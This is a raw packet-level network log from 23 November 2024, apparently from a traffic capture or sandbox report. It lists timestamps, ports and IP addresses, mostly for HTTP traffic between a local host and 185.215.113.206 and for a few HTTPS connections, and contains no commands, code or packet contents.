Nov 23, 2024 05:02:55.741862059 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.741941929 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.743123055 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.743164062 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.743247986 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.743367910 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.743668079 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.743711948 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.743776083 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.743932962 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.744656086 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.744704008 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.744767904 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.744834900 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.745567083 CET	49870	443	192.168.2.6	13.107.21.237
Nov 23, 2024 05:02:55.745575905 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.745666981 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.745723009 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.745768070 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.746532917 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.746584892 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.746666908 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.746844053 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.747497082 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.747544050 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.747581959 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.747684002 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.748437881 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.748488903 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.748550892 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.748586893 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.749423981 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.749461889 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.749536037 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.749723911 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.750351906 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.750401020 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.750550985 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.750588894 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.751295090 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.751347065 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.751410007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.751745939 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.752238989 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.752278090 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.752342939 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.752496958 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.753206968 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.753252029 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.753318071 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.753530979 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.754149914 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.754192114 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.754265070 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.754367113 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.755201101 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.755244017 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.755268097 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.755379915 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.756082058 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.756124973 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.756130934 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.756165981 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.757031918 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.757128000 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.757137060 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.757199049 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.757978916 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.758028030 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.758080006 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.758239031 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.758948088 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.759008884 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.759036064 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.759133101 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.759903908 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.759958982 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.760010004 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.760065079 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.760848045 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.760907888 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.760976076 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.761038065 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.787370920 CET	443	49870	13.107.21.237	192.168.2.6
Nov 23, 2024 05:02:55.787412882 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:55.787875891 CET	49912	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:55.787914991 CET	443	49912	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:55.787988901 CET	49912	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:55.788346052 CET	49913	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:55.788393974 CET	443	49913	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:55.788472891 CET	49913	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:55.788621902 CET	49914	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:55.788630009 CET	443	49914	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:55.788729906 CET	49914	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:55.788887978 CET	49912	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:55.788901091 CET	443	49912	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:55.789133072 CET	49915	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:55.789153099 CET	443	49915	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:55.789213896 CET	49915	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:55.789355040 CET	49916	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:55.789390087 CET	443	49916	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:55.789508104 CET	49913	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:55.789516926 CET	49916	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:55.789535999 CET	443	49913	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:55.789747953 CET	49914	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:55.789757967 CET	443	49914	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:55.789927006 CET	49915	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:55.789968014 CET	443	49915	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:55.790076971 CET	49916	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:55.790096045 CET	443	49916	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:55.806726933 CET	443	49904	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:55.807224035 CET	49904	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:55.807254076 CET	443	49904	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:55.809541941 CET	49904	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:55.809549093 CET	443	49904	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:55.831353903 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:55.865974903 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.866029978 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.866089106 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.866128922 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.866445065 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.866523027 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.866564035 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.866606951 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.867085934 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.867131948 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.867183924 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.867238998 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.868004084 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.868052959 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.868107080 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.868160009 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.868994951 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.869046926 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.869079113 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.869121075 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.869927883 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.869946957 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.869993925 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.870872974 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.870918989 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.870974064 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.871011972 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.871823072 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.871841908 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.871872902 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.871882915 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.872781992 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.872838020 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.872910976 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.873275042 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.873794079 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.873847961 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.873866081 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.873928070 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.874703884 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.874749899 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.874752045 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.874802113 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.875634909 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.875691891 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.875752926 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.875807047 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.876616001 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.876665115 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.876729012 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.876770020 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.877552032 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.877604008 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.877607107 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.877644062 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.878511906 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.878556013 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.878609896 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.878659964 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.879461050 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.879509926 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.879575968 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.879764080 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.880415916 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.880465984 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.880510092 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.880549908 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.881371975 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.881432056 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.881551981 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.881592989 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.882317066 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.882373095 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.882427931 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.882618904 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.883265972 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.883323908 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.883383989 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.883469105 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.884219885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.884264946 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.884326935 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.884375095 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.885184050 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.885234118 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.885379076 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.885426998 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.886131048 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.886173964 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.886233091 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.886276007 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.887104034 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.887206078 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.887222052 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.887298107 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.888041973 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.888088942 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.888154984 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.888276100 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.889005899 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.889050007 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.889113903 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.889168024 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.889957905 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.890007973 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.890064955 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.890146971 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.890899897 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.890945911 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.890988111 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.891071081 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.891896963 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.891942024 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.891983032 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.892029047 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.892822027 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.892878056 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.892937899 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.892978907 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.893754005 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.893832922 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.893918991 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.893971920 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.894694090 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.894742966 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.894896984 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.894941092 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.894994974 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.895054102 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.895828962 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.895941973 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.895998955 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.896794081 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.896837950 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.896900892 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.897073984 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.897717953 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.897766113 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.942826986 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.942886114 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.942892075 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.942930937 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.943097115 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.943171978 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.943218946 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.943295956 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.944051027 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.944142103 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.944169044 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.944436073 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.945172071 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.945230007 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.946161032 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.946177959 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.946191072 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.946213961 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.946233988 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.946880102 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.946926117 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.946994066 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.947041035 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.947828054 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.947873116 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.947926998 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.949431896 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.950825930 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.950841904 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.950855017 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.950865030 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.950874090 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.950875998 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.950886011 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.950891972 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.950934887 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.951792955 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.951867104 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.958760977 CET	443	49905	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:55.959240913 CET	49905	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:55.959278107 CET	443	49905	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:55.959609032 CET	443	49902	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:55.959676027 CET	49905	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:55.959685087 CET	443	49902	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:55.959686995 CET	443	49905	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:55.959789991 CET	49902	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:55.959811926 CET	443	49902	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:55.960822105 CET	49902	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:55.960889101 CET	443	49902	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:55.961009026 CET	49902	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:55.969938040 CET	443	49907	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:55.970352888 CET	49907	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:55.970381021 CET	443	49907	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:55.971134901 CET	49907	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:55.971146107 CET	443	49907	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:55.991039991 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.991096020 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.991105080 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.991156101 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.991630077 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.991723061 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.991976976 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.991987944 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.992083073 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.992636919 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.992681980 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.992747068 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.992804050 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.993572950 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.993622065 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.993648052 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.993766069 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.994538069 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.994637966 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.994755030 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.995471954 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.995523930 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.995587111 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.995632887 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.996450901 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.996524096 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.996577978 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.997414112 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.997473955 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:55.997587919 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:55.997713089 CET	49819	80	192.168.2.6	185.215.113.206
